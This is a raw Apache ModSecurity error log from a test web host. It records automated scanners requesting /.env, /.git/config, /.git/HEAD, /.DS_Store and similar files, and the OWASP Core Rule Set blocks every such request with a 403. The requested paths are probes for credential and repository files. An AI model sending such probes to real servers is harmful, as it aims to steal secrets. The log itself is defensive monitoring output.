[Tue Sep 16 01:46:34.376405 2025] [:error] [pid 2764603] [client 45.130.203.141:49745] [client 45.130.203.141] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMilWtOEGVLDbWbYp8WQSQAAAAY"]
[Tue Sep 16 01:46:34.376563 2025] [:error] [pid 2764603] [client 45.130.203.141:49745] [client 45.130.203.141] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aMilWtOEGVLDbWbYp8WQSQAAAAY"]
[Tue Sep 16 05:49:23.218741 2025] [:error] [pid 2767845] [client 45.139.104.170:54784] [client 45.139.104.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMjeQ-o68ubwG-xVfuqYPgAAAAA"]
[Tue Sep 16 05:49:23.219028 2025] [:error] [pid 2767845] [client 45.139.104.170:54784] [client 45.139.104.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMjeQ-o68ubwG-xVfuqYPgAAAAA"]
[Tue Sep 16 05:49:23.219189 2025] [:error] [pid 2767845] [client 45.139.104.170:54784] [client 45.139.104.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aMjeQ-o68ubwG-xVfuqYPgAAAAA"]
[Tue Sep 16 19:10:50.460035 2025] [:error] [pid 2776495] [client 68.183.231.190:38274] [client 68.183.231.190] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMmaGmQQQwRsSmeNKyhsowAAAAo"]
[Tue Sep 16 19:10:50.460297 2025] [:error] [pid 2776495] [client 68.183.231.190:38274] [client 68.183.231.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMmaGmQQQwRsSmeNKyhsowAAAAo"]
[Tue Sep 16 19:10:50.460475 2025] [:error] [pid 2776495] [client 68.183.231.190:38274] [client 68.183.231.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aMmaGmQQQwRsSmeNKyhsowAAAAo"]
[Fri Sep 19 11:55:53.064961 2025] [authz_core:error] [pid 2841274] [client 164.92.244.132:53264] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Sep 19 11:55:53.349819 2025] [:error] [pid 2841276] [client 164.92.244.132:53304] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aM0oqcL9Ys-SCNUzeKP_6AAAAAQ"]
[Fri Sep 19 11:55:53.350032 2025] [:error] [pid 2841276] [client 164.92.244.132:53304] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aM0oqcL9Ys-SCNUzeKP_6AAAAAQ"]
[Fri Sep 19 11:55:53.350184 2025] [:error] [pid 2841276] [client 164.92.244.132:53304] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aM0oqcL9Ys-SCNUzeKP_6AAAAAQ"]
[Fri Sep 19 11:55:53.400716 2025] [:error] [pid 2841799] [client 164.92.244.132:53312] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aM0oqR1hbja6LjzNZJn2nQAAAAk"]
[Fri Sep 19 11:55:53.400908 2025] [:error] [pid 2841799] [client 164.92.244.132:53312] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aM0oqR1hbja6LjzNZJn2nQAAAAk"]
[Fri Sep 19 11:55:53.401050 2025] [:error] [pid 2841799] [client 164.92.244.132:53312] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aM0oqR1hbja6LjzNZJn2nQAAAAk"]
[Fri Sep 19 11:55:53.451555 2025] [:error] [pid 2841325] [client 164.92.244.132:53316] [client 164.92.244.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM0oqdtF8dSxvt0VBpo49AAAAAU"]
[Fri Sep 19 11:55:53.451749 2025] [:error] [pid 2841325] [client 164.92.244.132:53316] [client 164.92.244.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM0oqdtF8dSxvt0VBpo49AAAAAU"]
[Fri Sep 19 11:55:53.451897 2025] [:error] [pid 2841325] [client 164.92.244.132:53316] [client 164.92.244.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM0oqdtF8dSxvt0VBpo49AAAAAU"]
[Sat Sep 20 08:58:53.082087 2025] [:error] [pid 2867880] [client 196.251.88.64:38850] [client 196.251.88.64] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM5QrUW3VGRkhouZ08DpTwAAAAc"]
[Sat Sep 20 08:58:53.082430 2025] [:error] [pid 2867880] [client 196.251.88.64:38850] [client 196.251.88.64] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM5QrUW3VGRkhouZ08DpTwAAAAc"]
[Sat Sep 20 08:58:53.082632 2025] [:error] [pid 2867880] [client 196.251.88.64:38850] [client 196.251.88.64] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aM5QrUW3VGRkhouZ08DpTwAAAAc"]
[Mon Sep 22 05:31:25.296136 2025] [:error] [pid 2917928] [client 196.251.70.47:33288] [client 196.251.70.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNDDDZj7VtCLjVRU98381gAAAAE"]
[Mon Sep 22 05:31:25.297467 2025] [:error] [pid 2917928] [client 196.251.70.47:33288] [client 196.251.70.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNDDDZj7VtCLjVRU98381gAAAAE"]
[Mon Sep 22 05:31:25.297663 2025] [:error] [pid 2917928] [client 196.251.70.47:33288] [client 196.251.70.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNDDDZj7VtCLjVRU98381gAAAAE"]
[Wed Sep 24 00:23:37.846692 2025] [:error] [pid 2963644] [client 185.177.72.22:44640] [client 185.177.72.22] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNMd6atZU55jeCEiwKakoQAAAAQ"]
[Wed Sep 24 00:23:37.848479 2025] [:error] [pid 2963644] [client 185.177.72.22:44640] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNMd6atZU55jeCEiwKakoQAAAAQ"]
[Wed Sep 24 00:23:37.848661 2025] [:error] [pid 2963644] [client 185.177.72.22:44640] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aNMd6atZU55jeCEiwKakoQAAAAQ"]
[Wed Sep 24 00:23:38.012843 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnQAAAAc"]
[Wed Sep 24 00:23:38.013093 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnQAAAAc"]
[Wed Sep 24 00:23:38.013282 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnQAAAAc"]
[Wed Sep 24 00:23:38.037137 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNMd6izVXzxffCfG4JcdngAAAAc"]
[Wed Sep 24 00:23:38.037337 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNMd6izVXzxffCfG4JcdngAAAAc"]
[Wed Sep 24 00:23:38.037493 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aNMd6izVXzxffCfG4JcdngAAAAc"]
[Wed Sep 24 00:23:38.061636 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnwAAAAc"]
[Wed Sep 24 00:23:38.061829 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnwAAAAc"]
[Wed Sep 24 00:23:38.061981 2025] [:error] [pid 2964112] [client 185.177.72.22:44644] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aNMd6izVXzxffCfG4JcdnwAAAAc"]
[Wed Sep 24 13:38:42.600947 2025] [:error] [pid 2972445] [client 45.130.203.143:26507] [client 45.130.203.143] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQrQ1w_nEqnJsngh6NwAAAAc"]
[Wed Sep 24 13:38:42.601191 2025] [:error] [pid 2972445] [client 45.130.203.143:26507] [client 45.130.203.143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQrQ1w_nEqnJsngh6NwAAAAc"]
[Wed Sep 24 13:38:42.601332 2025] [:error] [pid 2972445] [client 45.130.203.143:26507] [client 45.130.203.143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQrQ1w_nEqnJsngh6NwAAAAc"]
[Wed Sep 24 13:38:42.706433 2025] [:error] [pid 2967876] [client 45.130.203.160:41369] [client 45.130.203.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQnoWlOcrWlWRQStC4gAAAAI"]
[Wed Sep 24 13:38:42.706639 2025] [:error] [pid 2967876] [client 45.130.203.160:41369] [client 45.130.203.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aNPYQnoWlOcrWlWRQStC4gAAAAI"]
